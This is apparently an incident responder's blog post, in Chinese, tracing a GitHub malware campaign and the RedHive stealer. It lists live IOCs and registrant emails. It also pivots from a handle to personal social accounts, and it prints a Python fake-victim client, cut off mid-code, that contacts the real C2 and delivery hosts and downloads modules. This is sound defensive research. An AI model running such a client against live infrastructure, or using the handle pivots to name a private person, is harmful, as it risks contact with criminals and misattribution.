我的进攻性安全背景使得我在相对较短的时间里完成了对 stager 和 implant 的初步分析,切断 C2,清掉持久化。后来我和一个同样做网络安全的朋友聊这件事,他也觉得我的反应速度很快,还开玩笑说,他公司可能得花五个人日才能做完我在第一轮响应里干掉的这些事。但我漏掉了一个更根本的问题。威胁行为者并不是“邪恶版红队”或者“邪恶版渗透测试人员”。他们就是威胁行为者,按照自己的激励机制行动。如果路上拿到的东西本身已经有价值,他们根本不需要追求什么宏大的最终目标。对他们来说,几乎任何有用的战利品,都可以变成资产。
终端之外,继续追踪这条线
这次事件当然很让人不爽,但我必须承认,它成了我职业生涯里非常有价值的一课,甚至可能成为一个长期影响我方法论的转折点。到这个时候,主机级访问和被攻陷的凭据最终都已经处理完了,我也终于可以把更多时间花在这个网络犯罪团伙本身。而且我很想让他们知道:你们入侵、折腾的是一个黑客,我怎么可能就这么放过你们?
在必须遵守的边界之内,我仍然有很多事情可以做,足够给他们添点麻烦,让他们日子没那么舒服。所以,让我们把时间倒回事件最开始。这一次,不再只是跟在他们屁股后面清理垃圾。让我们当一次寻血猎犬,沿着他们的信息、基础设施和活动一路追下去。
第一块拼图:恶意仓库
最初的 artifact 是 MillipedeLoad/Adobe-Acrobat-Pro 仓库。第二次回头看时,我保留下来的截图变得更有用了:上面显示有 303 个 Star 和 17 个 Fork,但账号过去一年只有 5 次 contribution。表面上的项目热度,和能看到的真实开发活动,讲的是完全不同的故事。
一个 Star 很多、Commit 很少的仓库,并不会自动等于恶意。成熟项目可能是镜像、导入,或者主要在其他地方维护。但在这里,这种解释还必须同时解释另外两件事:README 把人引进了恶意 PowerShell 链,而仓库真正的源码内容几乎完全无法支撑它声称自己是什么软件。到这个时候,我已经不再相信它的 Star 和 Fork 数。结合上下文看,它们更像是人为制造出来的“热度”,某种 GitHub boost / farming,用来让仓库看起来更可信。
但这里立刻出现了一个问题:一些相关账号和仓库已经消失了。最方便的调查方式,打开 profile、看文件、顺着链接继续点,已经不是每个地方都还能用。于是我从那些还活着的对象向外扩展:缓存搜索结果、幸存 Fork、Git 历史,以及 Ecosyste.ms Timeline 这类展示 GH Archive 数据的公开事件归档。Web Archive 当然也是一个方向,但“向归档服务发起查询”本身,并不等于真的恢复出了一份页面快照。所以我从一开始就接受一个现实:原始仓库可能永远无法完整恢复。幸运的是,我其实也不需要完整恢复。元数据、特征、命名模式,以及其他残留痕迹,本身就已经能提供大量有价值的信息。
而且我并不相信,我遇到的恶意仓库是一个孤例,它背后大概率还有更大的恶意仓库网络,而这些仓库之间应该共享一些可识别的相似点:文件命名习惯、stager URI、重复使用的 README 指令、幸存 Fork、账号关系,以及其他运营模式。在这个假设下,调查的重点不再是“把某一个已经删掉的仓库恢复出来”,而是“找到它的亲属”。这个思路效果很好。随着恢复和模式匹配继续进行,一个更大的网络开始浮现。
名字变了,本质没变
第一批有价值的仓库族,表面上覆盖了完全不相关的产品:
| 仓库 | 宣传主题 | 恢复出的关联 |
|---|---|---|
MillipedeLoad/Adobe-Acrobat-Pro |
PDF 软件 | 最初事件中的诱饵;父仓库历史被幸存 Fork 保留下来 |
GulfMouseVice/crypto-miner-gpu-cpu-hashrate |
加密货币挖矿 | shells[.]su 投递指令,以及相似的仓库生命周期 |
Binaryunenhance/instagram-liker-bot-auto-like-software-download |
Instagram 自动化 | 使用 gitbase[.]su 的平行投递指令 |
HyperIllusionistTap/Whale-Tracker-Analytics |
市场分析 | 保留了同模板投递痕迹;幸存 Git 证据相对不完整 |
它们确实共享一些特征:/powershell/Genesis.ps1 路径、高度相似的远程执行指令、堆满关键词的 README、极小的文件树,以及根本不像真的实现了宣传功能的源码。早期快照里,几个仓库即使有数百个 Star,总体内容也只有大约 3–4 KB。
一个尤其有意思的细节,是语言徽章。一个仓库放 temp.cpp,另一个放 temp.py,还有一个放 temp.cs。乍看上去,好像分别是 C++、Python 和 C# 项目。点进去以后,内容却完全一样:
# LINK IN REPOSITORY
保留下来的 Git blob ID 也完全一致:
f7aa7c960f15059c892e4558d44ad9ac70f46cba
三种看起来不同的实现语言,一条让你去别处的指令。这个徽章已经不是软件开发的证据,而只是包装的一部分,成本很低,却足以让一个以 README 为核心的投递页面更像正常代码仓库。完全一致的 blob 只能证明内容被复用,不能证明作者是谁。这样的短占位符太容易复制,本身也不够独特,无法独立支撑恶意活动的属性。真正有意义的是它周围的一致性:相同的投递路径、相同的“薄代码”结构、类似的 README 指令,以及紧随其后的推广时机。
仓库年龄是真的,但呈现出来的“历史感”具有误导性
提交历史又补上了一个很重要的修正:一个仓库完全可能已经存在好几个月,但这几个月里根本没有任何像现在宣传的软件内容。保留下来的 GulfMouseVice 历史,从 3 月 31 日开始时,README 只有一行标题:# fljghchq。到了 8 月 16 日,README 才被替换成一份明显更完整的 miner 宣传,其中包含 Genesis 投递命令。几分钟后,又补上了一个纯装饰用的 Python 文件。
Adobe 诱饵也有类似时间线:早期是一个极简 README,事件发生前不久才改成恶意内容,并加上占位源码。Instagram 分支则在 8 月更早的时候出现了平行的 gitbase[.]su 指令。
| 记录到的变化 | 保留 Commit 数据中的时间 | 为什么保留这条记录 |
|---|---|---|
| Adobe 恶意 README | 8 月 16 日 18:12:06 UTC | 让这个旧仓库真正变得危险的内容变化 |
Adobe temp.cpp 占位文件 |
8 月 16 日 18:14:34 UTC | 紧随其后的装饰性“源码语言”贡献 |
| Miner 恶意 README | 8 月 16 日 19:45:40 UTC | 大约 94 分钟后出现的类似转换 |
Miner temp.py 占位文件 |
8 月 16 日 19:48:28 UTC | 同样只隔很短时间就补上装饰性源码文件 |
结合时间线和模式看,这些仓库虽然几个月前就已经创建,但中间很长时间基本没有活动。一个合理的解释是:这个团伙希望“仓库年龄”本身看起来更可信。然后到了某个时间点,它们才被更新成现在这种样子,再加入恶意安装流程,用来更好地欺骗潜在受害者
恶意 GitHub 网络:Bot、恶意仓库与刷热度
这些 Fork 有两方面价值。第一,它们保存了证据。Adobe 的幸存 Fork,例如 dev-Warrior65621 和 zx-King7147447733lion,以及 mad-Plasma-Mind9 等账号下的 miner Fork,即使原仓库已经不可访问,仍然保留了父子关系和 Git 历史。第二,它们的时间也帮助还原了仓库是如何被推广的。在几个保留下来的样本里,Fork 分别大约出现在武器化或最终修改后的 12、21、33 分钟。这个模式说明,仓库准备好之后往往很快就会进入推广。
账号命名也开始越来越眼熟:单词和数字组合,再经常接一个看起来很技术的后缀,例如 -hub、-bin、-cli、-pwn、-cfg。例子多到一定程度后,它们越来越不像互不相关的真实用户名,更像是同一套命名程序批量吐出来的结果。单看命名模式当然不算特别强的证据。真正让它变得有意思的是,同样的命名风格一直和同样的行为绑在一起出现:新建或内容极少的账号、刚武器化仓库附近高度集中的时间窗口、类似的 Fork 活动、相同的投递模板。到这个时候,我已经不是在看一堆可疑仓库了。我看到的是一张网络。
下一轮扩展,我围绕交替 pivot 来做:
仓库 → Star/Fork 账号 → 这些账号的其他仓库 → 仓库所有者 → 更多已记录交互
图里的边必须区分类型。owns 表示平台记录的所有权,starred 表示一个公开事件,fork 则表示 lineage。其中一个历史仓库成了非常有价值的种子:
gitlerzov1488gitler-cmd/RUST-2026-A-I-M
持有者的用户名已经足够不寻常,值得单独调查,后面我会回来继续追它。对这张图来说,它第一时间真正有价值的是周围的事件历史。保留下来的时间线记录显示:2026 年 1 月 7 日 17:48,持有者自己先 Star 了仓库;随后在页面显示的 19:41–19:44 这三分钟里,又有 10 个其他账号 给它 Star。三分钟,并不是十个互不相关的人“恰好发现同一个冷门仓库”所需要的一个很宽松的时间窗口,尤其是其中几个账号,又在同样的几分钟里出现在其他相同项目周围。事件图里保留下来的十账号:
fastjack73leontrq finklousen59upy
pripak-minibearqie greyjulianbell491vdf
stne-100ye7 funnyway9m51
bambino66lamb4bn urch-arrow376
laner-mrgood306 brom-100cmh
glas2000wsz 下面的两个优化项目,和这批账号共享了其中四个。其他反复出现的目标还包括 Rust 和 Valorant Cheat、Counter-Strike 换肤器、Authenticator、性能工具等。真正有信息量的,不是某一个项目看起来多么令人警戒的标题,而是这些反复出现的账号。
这种活动还会跨时间重复。1 月 19 日的一波围绕 Cheat 和 Executor 主题;1 月 28 日,两名 seed stargazer 在 13 分钟内推广了同一个 Authenticator;2 月 6 日,一个账号在大约一分钟里连续 Star 了多个游戏/性能项目。2 月 8 日,一个市场分析助手又和另一个游戏相关目标同时出现。这已经不能简单解释成“喜欢游戏的人有时候会 Star 游戏仓库”。这是同一小批账号,反复给本来互不相关的软件主题制造类似的集中热度。
第一轮有界扩展包含 47 个节点、67 条边:28 个账号节点、19 个仓库、48 条 Star 关系、19 条所有权关系。第二轮扩展到了 125 个节点、150 条边,其中包括 54 个账号节点、45 个仓库、14 个证据节点、6 个 skill 变体,以及 6 个其他类型对象。抽样的 25 个当前 Fork 已经包含在仓库数量中。
这张可视化图并不是他们恶意 GitHub 运营的完整表示。我依旧可能漏掉了一些特征,而且我主动停在第二轮有界扩展,没有继续做第三轮乃至更多。即便只看这个有限范围,网络已经比我最初预期大得多。如果把每条分支都继续追下去,它还能延伸多远,我只能想象。至少有一件事已经很明确:这不是一个小规模行动,这个团伙不能被低估。
IP、域名,以及基础设施自己泄露出来的东西
到这个时候,我已经掌握了足够多关于他们恶意 GitHub 运营的信息。接下来最自然的线索,就是他们的 IP、域名和更广泛的基础设施。
主机侧调查其实已经暴露出了不止一种服务器角色。shells[.]su 属于投递和截图收集这一层;145.63.134[.]94 出现在原生载荷的运行时通信中;平行仓库模板里又出现了 gitbase[.]su。
我没有把它们全部粗暴地标成 C2,而是把这些角色分开。这样更容易看清基础设施到底是怎么拼起来的:有些系统负责投递载荷,有些负责接收被窃取的数据,还有一些后来出现在账号滥用或推广活动里。围绕 192.162.199[.]184 的历史记录尤其有用。调查材料把它和 shells[.]su 联系在一起,也记录了更早期的域名,包括 verificator[.]cc。后续的网络报告还把 genesis-hub[.]cc 记录在同一个托管集群中。这些观察让一个表面入口不断变化的基础设施,出现了连续性。细节可以参考:
- https://phishdestroy.io/domain/verificator.cc/
- https://gridinsoft.com/online-virus-scanner/url/verificator-cc
- https://phishdestroy.io/domain/genesis-hub.cc/
- https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc
当然,这类信息也有边界。一个 IP 在不同时间可以托管不同域名,共享或重复使用基础设施,并不能自动证明背后是同一个租户。真正有用的单位,是把主机、服务、域名、路径和观测时间放在一起看。
保留下来的域名研究显示,verificator[.]cc 注册于 7 月 27 日,genesis-hub[.]cc 注册于 7 月 30 日,两者在历史上都和同一台 .184 服务器有关。shells[.]su 随后在 8 月 13 日出现,诱饵仓库则在不久后完成武器化。那些更早的威胁情报记录真正有价值的地方,并不只是某个信誉服务给它画了一个红色警告图标,而是说明:在我执行那个具体诱饵之前,这台主机就已经存在相关的恶意托管背景。
透露过于详细信息的Windows服务器
前面已经知道,IP 145.63.134[.]94 是 C2 服务器,而 192.162.199.184 是投递服务器。但两台机器都把远超必要范围的服务暴露到了互联网,而不是采用 IP 白名单、本地监听或隧道访问之类的方式。Shodan 保存了两台主机的快照:
暴露 135、445、3389 之类的端口,当然不代表系统就一定能被打穿,但我也很难把这称作很好的 OPSEC。一些服务返回很详细的响应信息,会泄露对威胁猎手有用的指纹,甚至可能给其他盯上这套基础设施的攻击者留下一些线索。这里还有点讽刺:我是红队,我一样会中招;他们也是攻击者,但这可不代表没人能打他们哈 lol
那个怎么都看着不自然的Handle
shells[.]su 的记录中保留了一个注册联系人:
krassavchik13370@gmail[.]com
记录的注册时间是 2026 年 8 月 13 日 19:17:32 UTC。对 gitbase[.]su 的调查又带出了另一个被报告的联系人
gitlerzov1488gitler@gmail[.]com
一个联系字符串当然不能证明真实法定身份。它可能是一次性邮箱、被盗账号、误导性元数据,甚至是故意留下来的假线索。但这个名字和周围那些明显像随机生成的 GitHub 用户名差别很大。而我此前已经在一个历史仓库 Owner 上见过几乎完全一样的版本:
WHOIS contact local part: gitlerzov1488gitler
Historical GitHub owner: gitlerzov1488gitler-cmd
好吧,这个 Handle 相比其他随机感十足的 Handle,的确里显得格格不入。核心字符串是 gitlerzov1488。完整邮箱的用户名部分在结尾又重复了一次 gitler,而 GitHub 用户名则加了 -cmd。它足够具体,可以拆成更小的片段和精确组合去搜索。
“Gitler” 是对 Hitler 的影射,而 “1488” 通常与种族主义和白人至上主义意识形态相关。考虑到各类在线社区的审核力度,以及公开表达这类观点可能招来的抵制和尴尬,我不太相信围绕这些词构造、还能长期存活的 Handle 会多到哪里去,虽然肯定也不至于只有三五个。gitler1488 这个组合应该会稀有得多,可能只出现少量几次,但大概仍然谈不上唯一,因为在某些亚文化圈子里,这依旧算是一个比较直白的组合。不过加入 ZOV 之后,情况就明显不一样了。它是一个区分度高得多的短字符串,让整个复合 Handle 变得异常稀有,在现实中甚至有可能近似唯一。我的问题是:这个Handle,是否和一个存在时间更长的个人发生了重叠。即使最后拿不到真实姓名、地址、国籍或雇主,这本身也会是一个很有意思的 OPSEC 观察。
通过搜索引擎和 Sherlock 之类的工具,一个 TikTok 账号引起了我的注意:它的 Handle 恰好就是 gitlerzov1488,显示名为 “Mango kartel 66”。这个用户的视频主题比较杂,其中 Minecraft 相关内容尤其值得注意。
在一段 Minecraft 视频里,游戏角色站在一艘做成纳粹卐字符形状的船上,评论区也吸引了一些持有类似意识形态的人。
既然 Minecraft 是他频道里一个比较关键的元素,我又交叉搜索了 Minecraft 相关社交平台,并找到了两个潜在匹配。
我还在 KLauncher 社区找到了一个命中:
除了精确的 gitlerzov1488,我也搜索了各种变体和相关组合,例如 1488gitler1488。但到最后,我仍然缺少一些能把所有东西真正连起来的桥梁。
即便是 gitlerzov1488,我不认为这是那种常见的 Handle,所以现有的匹配当然都是很有价值的线索,但我依旧无法证明它们全部属于同一个人,也不能仅凭这些就做出确定归因。也许这就是 OSINT 本身的不确定性。有时候,整个模式会越来越像那么回事,但你最想要的最后那块拼图,就是迟迟不出现。
这种不一致仍然让我有些困惑。大多数 GitHub 账号看起来都很一次性和随机,唯独这个账号既和一个非常有辨识度的邮箱用户名部分重叠,又对应到了一个有更早活动记录的公开个人。这会不会是一次早期 OPSEC 失误,而后面那些随机化账号正是为了掩盖这个失误?这是一个值得记录的合理假设。事实上,GitHub上恶意仓库和用户的大规模互相挽尊事件早在 1 月就已经出现,比我 8 月感染早了好几个月。现有数据并没有展示一个干净的“先用个人 Handle,后来再切换成匿名水军大军”的转变。这个账号池可能用于推广、轮换,也可能来自共享的商业服务,或者同时承担好几种用途。
重访样本:当 IOC 还不是全部答案
在事件发生期间,1.exe 对我最有价值的地方,是它能回答一些直接可行动的问题:它把自己复制到哪里、什么东西会重新拉起它、它在连接谁,以及哪些主机侧痕迹需要删除或保留。AI 辅助分析确实缩短了这个过程,但它并不是对整个程序的一次完整重建。
在应急处理和净化任务结束之后,一个尴尬的不一致仍然存在。后续账号事件强烈暗示发生了信息窃取;而对这个可执行文件的分析已经找到了持久化、C2、任务下发、混淆以及进程/内存操作,却始终没有看到一个明显且完整的实现,足以解释后来表现出来的浏览器和应用数据窃取。这里有几种可能:相关代码可能被混淆藏住了;也可能在快速分诊时被漏掉了;又或者它根本不在这个可执行文件里。第三种可能,比我最初给它的重视程度更值得认真对待。到了这里,威胁情报和逆向分析也不再是两条独立工作流:基础设施和任务分发线索告诉我该去二进制里找什么,而二进制又告诉我,哪些观测结果可以用来区分这些互相竞争的解释。
你好 RedHive,我是你的新受害者,不过是假的
对协议的分析最终带出了几份使用伪造主机画像的观测脚本。思路很简单:我想理解投递和任务分发行为,但不想再送给对方一台真实主机,更不会执行它返回来的任何东西。客户端只需要记录任务消息,不需要真正实现对方要求的任务执行。它不需要浏览器凭据、真实文件,也不需要真的具备信息窃取能力,就足以让我看到控制通道究竟在告诉客户端做什么。
记录下来的的流程很熟悉:客户端先注册回调,服务器通过 getinfo 请求信息,然后客户端返回一份伪造画像。接着,那条改变了分析方向的消息出现了:
python .\genesis_synthetic_victim_suite.py honeypot `
>> --id A1B2C3D4 `
>> --user jsmith `
>> --os "Windows 11 Pro" `
>> --av "Windows Defender" `
>> --observe 600 `
>> --logfile c2_406.jsonl
[2026-09-08T03:49:08+00:00] PROFILE Synthetic C2 victim: id=A1B2C3D4 user=jsmith os='Windows 11 Pro' av='Windows Defender'
[2026-09-08T03:49:08+00:00] HANDSHAKE Control channel response: HTTP/1.1 101 Switching Protocols
[2026-09-08T03:49:08+00:00] SEND Registered synthetic victim: 'ready;A1B2C3D4;version;1.0.0'
[2026-09-08T03:49:09+00:00] RECV C2 command [GETINFO]: 'getinfo'
[2026-09-08T03:49:09+00:00] SEND Sent synthetic victim information: 'info;Windows Defender;Windows 11 Pro;jsmith;36763880'
[2026-09-08T03:49:09+00:00] RECV C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2'
[2026-09-08T03:49:09+00:00] TASK Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2'
[2026-09-08T03:49:09+00:00] MODULE-OFF Task 'Stealer' recorded; TCP/408 collection is disabled
[2026-09-08T03:49:12+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:12+00:00] SEND Sent application-layer pong
[2026-09-08T03:49:27+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:27+00:00] SEND Sent application-layer pong
[2026-09-08T03:49:42+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:42+00:00] SEND Sent application-layer pong
这就是调查过程中真实捕获到的任务文本。任务名本身已经非常直白,但当时我的探测仅限于 406 端口,所以仍然拿不到足够多的线索,去理解这个 Stealer 任务到底是怎么工作的。
重新回到最初那个可执行文件之后,分工终于清楚了:406 端口是 WebSocket tasking 通道,408 端口则通过另一条 HTTP 连接提供模块。 任务消息本来就不是用来把整个模块字节塞进去的。当我实现了对 408 端口的模拟交互后,最终捕获记录变成了这样:
python .\genesis_synthetic_victim_suite.py honeypot `
>> --capture-modules `
>> --capture-dir captured_modules `
>> --logfile c2_full.jsonl
[2026-09-08T03:51:03+00:00] PROFILE Synthetic C2 victim: id=0EF155DE user=alex os='Windows 11 Pro' av='Avast Antivirus'
[2026-09-08T03:51:04+00:00] HANDSHAKE Control channel response: HTTP/1.1 101 Switching Protocols
[2026-09-08T03:51:04+00:00] SEND Registered synthetic victim: 'ready;0EF155DE;version;1.0.0'
[2026-09-08T03:51:04+00:00] RECV C2 command [GETINFO]: 'getinfo'
[2026-09-08T03:51:04+00:00] SEND Sent synthetic victim information: 'info;Avast Antivirus;Windows 11 Pro;alex;36763880'
[2026-09-08T03:51:04+00:00] RECV C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2'
[2026-09-08T03:51:04+00:00] TASK Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2'
[2026-09-08T03:51:04+00:00] MODULE-GET GET 145.63.134.94:408/task/Stealer User-Agent=0EF155DE
[2026-09-08T03:51:05+00:00] MODULE Captured and neutered Stealer 1.0.2: captured_modules\20260907_235105_synthetic_Stealer_1.0.2_5v2nlq_oqgr_9651824ed3d1.quarantine.bin original_size=1459712 original_sha256=9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3
[2026-09-08T03:51:12+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:51:12+00:00] SEND Sent application-layer pong
[2026-09-08T03:51:27+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:51:27+00:00] SEND Sent application-layer pong
这一次,样本是真的捕获到了。新文件是一个原生 x64 DLL,而不是另一份 533,504 字节的 1.exe。原始捕获哈希为:
9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3
DLL 自己的报告生成代码中包含 “Redhive Stealer” 这个标签。它的初始化逻辑还会先检查 Global\RuntimeBrokerAds,也就是此前已经和原始 loader 关联起来的 mutex。随后再使用 Global\StealerLib 控制自身实例。现在,整个架构终于更连贯了:
持久化加载器 / RAT
↓ 接收任务
单独的信息窃取 DLL
↓ 组织与收集信息
独立的结果上传渠道
这种模块化思路很像后渗透框架:把通信和调度留在常驻组件里,再根据具体任务下发所需要的能力。实际捕获到的对象就是一个 DLL。这也改变了我此前一个很“安心”的发现所代表的意义。所有已识别的自启动项完全可以都指向同一个可执行文件,但这个可执行文件仍然能够在运行时获取额外能力。我用来模拟受害者的脚本如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Genesis-SU Synthetic Victim Suite
Integrated defensive research utility with four functional modules:
delivery Synthetic delivery/staging callbacks + fake screenshot upload
honeypot TCP/406 WebSocket synthetic victim; optional task-triggered 408 collection
workflow delivery -> 406 honeypot -> optional 408 collection using one identity
exfil-* Controlled TCP/1488 protocol laboratory using synthetic ZIP content only
Safety invariants:
* All victim data is synthetic.
* Attacker-supplied responses/tasks are recorded only and never executed.
* Downloaded modules are never loaded or run.
* Valid PE modules are neutered before disk I/O and stored read-only.
* Synthetic screenshots are generated in memory; the analyst desktop is never captured.
* TCP/1488 client mode is restricted to loopback/private controlled targets.
* No brute-force, flooding, service enumeration, or exploit logic is included.
"""
from __future__ import annotations
import argparse, base64, hashlib, io, ipaddress, json, os, random, re
import secrets, socket, ssl, stat, string, struct, threading, time
import urllib.error, urllib.parse, urllib.request, zipfile, zlib
from dataclasses import asdict, dataclass
from datetime import datetime, timezone
from pathlib import Path, PurePosixPath
from typing import Iterable, Optional
DEFAULT_DELIVERY_BASE = "https://shells.su"
DEFAULT_C2_HOST = "145.63.134.94"
DEFAULT_CONTROL_PORT = 406
DEFAULT_TASK_PORT = 408
DEFAULT_EXFIL_PORT = 1488
WS_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
WS_KEY = "dGhlIHNhbXBsZSBub25jZQ=="
BOT_VERSION = "1.0.0"
CAMPAIGN_ID = "36763880"
DEFAULT_STAGING_UA = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"
MAX_MODULE_BYTES = 0x300000
MAX_HTTP_HEADER = 65536
MAX_EXFIL_ARCHIVE = 4 * 1024 * 1024
MAX_EXFIL_ENTRY = 512 * 1024
MAX_EXFIL_ENTRIES = 64
AUTH_MARKER = b"auth_ok"
WS_OP_CONT, WS_OP_TEXT, WS_OP_BINARY = 0x0, 0x1, 0x2
WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG = 0x8, 0x9, 0xA
SAFE_TASK_CHARS = set("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-")
class Logger:
def __init__(self, jsonl_path=None):
self.fp = open(jsonl_path, "a", encoding="utf-8") if jsonl_path else None
self.lock = threading.Lock()
@staticmethod
def iso():
return datetime.now(timezone.utc).isoformat(timespec="seconds")
def event(self, tag, message, **fields):
with self.lock:
print(f"[{self.iso()}] {tag:<11} {message}", flush=True)
if self.fp:
rec = {"time_unix": time.time(), "time_utc": self.iso(), "tag": tag, "message": message, **fields}
self.fp.write(json.dumps(rec, ensure_ascii=False) + "\n")
self.fp.flush()
def close(self):
if self.fp:
self.fp.close()
@dataclass
class VictimProfile:
hostname: str = ""
username: str = ""
os_version: str = ""
av_product: str = ""
bot_id: str = CAMPAIGN_ID
checkin_id: str = ""
country: str = ""
def randomize(self):
if not self.hostname:
self.hostname = "DESKTOP-" + "".join(random.choices(string.ascii_uppercase + string.digits, k=7))
if not self.username:
self.username = random.choice(["jsmith", "mwilson", "klee", "alex", "charlie", "operator"])
if not self.os_version:
self.os_version = random.choice(["Windows 11 Pro", "Windows 10 Pro", "Windows 11 Enterprise", "Windows 10 Enterprise"])
if not self.av_product:
self.av_product = random.choice(["Windows Defender", "Windows Defender", "Avast Antivirus", "ESET Security"])
if not self.checkin_id:
self.checkin_id = f"{int.from_bytes(os.urandom(4), 'big'):08X}"
if not self.country:
self.country = random.choice(["US", "CA", "DE", "GB", "AU"])
return self
def checkin_message(self):
return f"ready;{self.checkin_id};version;{BOT_VERSION}"
def info_message(self):
return f"info;{self.av_product or 'unknown'};{self.os_version};{self.username};{self.bot_id}"
def build_profile(args):
return VictimProfile(
hostname=getattr(args, "hostname", "") or "",
username=getattr(args, "user", "") or "",
os_version=getattr(args, "os_version", "") or "",
av_product=getattr(args, "av", "") or "",
bot_id=getattr(args, "botid", CAMPAIGN_ID) or CAMPAIGN_ID,
checkin_id=(getattr(args, "id", "") or "").upper(),
country=(getattr(args, "country", "") or "").upper(),
).randomize()
def sha256_bytes(data):
return hashlib.sha256(data).hexdigest()
def read_only(path: Path):
try:
os.chmod(path, stat.S_IRUSR)
except OSError:
try:
os.chmod(path, stat.S_IREAD)
except OSError:
pass
def safe_component(value, max_len=64):
return bool(value) and len(value) <= max_len and all(c in SAFE_TASK_CHARS for c in value)
def response_preview(data, limit=240):
return data[:limit].decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n") if data else ""
# ---------------------------------------------------------------------------
# Module 1: delivery / staging probe
# ---------------------------------------------------------------------------
def _png_chunk(kind, payload):
crc = zlib.crc32(kind)
crc = zlib.crc32(payload, crc) & 0xFFFFFFFF
return struct.pack(">I", len(payload)) + kind + payload + struct.pack(">I", crc)
def make_synthetic_desktop_png(width=960, height=540):
"""Generate a fake desktop-like PNG without reading the analyst desktop."""
width = max(320, min(width, 1920)); height = max(180, min(height, 1080))
rows = bytearray()
for y in range(height):
rows.append(0)
for x in range(width):
r = 20 + int(20 * y / height); g = 75 + int(45 * x / width); b = 130 + int(80 * y / height)
wx0, wy0, wx1, wy1 = width // 7, height // 8, width * 6 // 7, height * 4 // 5
if wx0 <= x <= wx1 and wy0 <= y <= wy1:
r, g, b = ((45, 48, 54) if y < wy0 + 32 else (235, 237, 240))
if wx0 + 18 <= x <= wx0 + 150 and wy0 + 55 <= y <= wy1 - 20:
r, g, b = 220, 224, 229
if wx0 + 180 <= x <= wx1 - 25:
if wy0 + 65 <= y <= wy0 + 120: r, g, b = 210, 225, 244
elif wy0 + 145 <= y <= wy0 + 205: r, g, b = 224, 234, 220
if y >= height - 42: r, g, b = 25, 28, 33
if 18 <= x <= 70 and 18 <= y <= 50: r, g, b = 220, 50, 50
rows.extend((r, g, b))
sig = b"\x89PNG\r\n\x1a\n"
ihdr = struct.pack(">IIBBBBB", width, height, 8, 2, 0, 0, 0)
return sig + _png_chunk(b"IHDR", ihdr) + _png_chunk(b"tEXt", b"Comment\x00SYNTHETIC RESEARCH DESKTOP - NO VICTIM DATA") + _png_chunk(b"IDAT", zlib.compress(bytes(rows), 6)) + _png_chunk(b"IEND", b"")
@dataclass
class HTTPObservation:
method: str
url: str
status: Optional[int]
response_size: int
response_sha256: Optional[str]
content_type: str
preview: str
error: str = ""
def http_request(method, url, *, user_agent, body, timeout, insecure_tls):
req = urllib.request.Request(url, data=body, method=method)
req.add_header("User-Agent", user_agent)
if body is not None:
req.add_header("Content-Type", "application/x-www-form-urlencoded")
ctx = ssl._create_unverified_context() if insecure_tls else ssl.create_default_context()
try:
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
data = resp.read(1024 * 1024)
return HTTPObservation(method, url, getattr(resp, "status", None), len(data), sha256_bytes(data) if data else None, resp.headers.get("Content-Type", ""), response_preview(data))
except urllib.error.HTTPError as exc:
try: data = exc.read(1024 * 1024)
except Exception: data = b""
return HTTPObservation(method, url, exc.code, len(data), sha256_bytes(data) if data else None, exc.headers.get("Content-Type", "") if exc.headers else "", response_preview(data), f"HTTP error: {exc}")
except Exception as exc:
return HTTPObservation(method, url, None, 0, None, "", "", str(exc))
def delivery_cycle(args, profile, log):
base = args.delivery_base.rstrip("/")
query = urllib.parse.urlencode({"pc": profile.hostname, "country": profile.country})
start_url, screen_url, end_url = f"{base}/start.php?{query}", f"{base}/screen.php?{query}", f"{base}/end.php?{query}"
png = make_synthetic_desktop_png(args.screen_width, args.screen_height)
image_uri = "data:image/png;base64," + base64.b64encode(png).decode("ascii")
screen_body = urllib.parse.urlencode({"pc": profile.hostname, "image": image_uri}).encode("ascii")
log.event("PROFILE", f"Synthetic delivery victim: host={profile.hostname} country={profile.country}", module="delivery", synthetic=True, profile=asdict(profile))
log.event("SCREEN", f"Generated synthetic desktop PNG: {len(png)} bytes sha256={sha256_bytes(png)}", module="delivery", png_sha256=sha256_bytes(png))
if args.dry_run:
log.event("DRYRUN", f"GET {start_url}", module="delivery")
log.event("DRYRUN", f"POST {screen_url} fields=[pc,image] encoded_bytes={len(screen_body)}", module="delivery")
log.event("DRYRUN", f"GET {end_url}", module="delivery")
return
for tag, method, url, body in [("START", "GET", start_url, None), ("SCREEN", "POST", screen_url, screen_body), ("END", "GET", end_url, None)]:
obs = http_request(method, url, user_agent=args.staging_ua, body=body, timeout=args.delivery_timeout, insecure_tls=args.insecure_tls)
log.event(tag, f"{method} {url} -> status={obs.status} bytes={obs.response_size}" + (f" error={obs.error}" if obs.error else ""), module="delivery", observation=asdict(obs))
if obs.preview:
log.event("RESPONSE", f"{tag} response preview (recorded only, never executed): {obs.preview!r}", module="delivery")
# ---------------------------------------------------------------------------
# Module 2: TCP/406 WebSocket synthetic victim
# ---------------------------------------------------------------------------
def ws_encode(payload, opcode=WS_OP_BINARY):
mask = secrets.token_bytes(4); out = bytearray([0x80 | (opcode & 0x0F)]); n = len(payload)
if n <= 125: out.append(0x80 | n)
elif n <= 0xFFFF: out.append(0x80 | 126); out.extend(struct.pack(">H", n))
else: out.append(0x80 | 127); out.extend(struct.pack(">Q", n))
out.extend(mask); out.extend(bytes(b ^ mask[i % 4] for i, b in enumerate(payload)))
return bytes(out)
class WSReader:
def __init__(self, sock, leftover=b""):
self.sock = sock; self.buf = bytearray(leftover); self.frag_opcode = None; self.frag_payload = bytearray()
def _need(self, n):
while len(self.buf) < n:
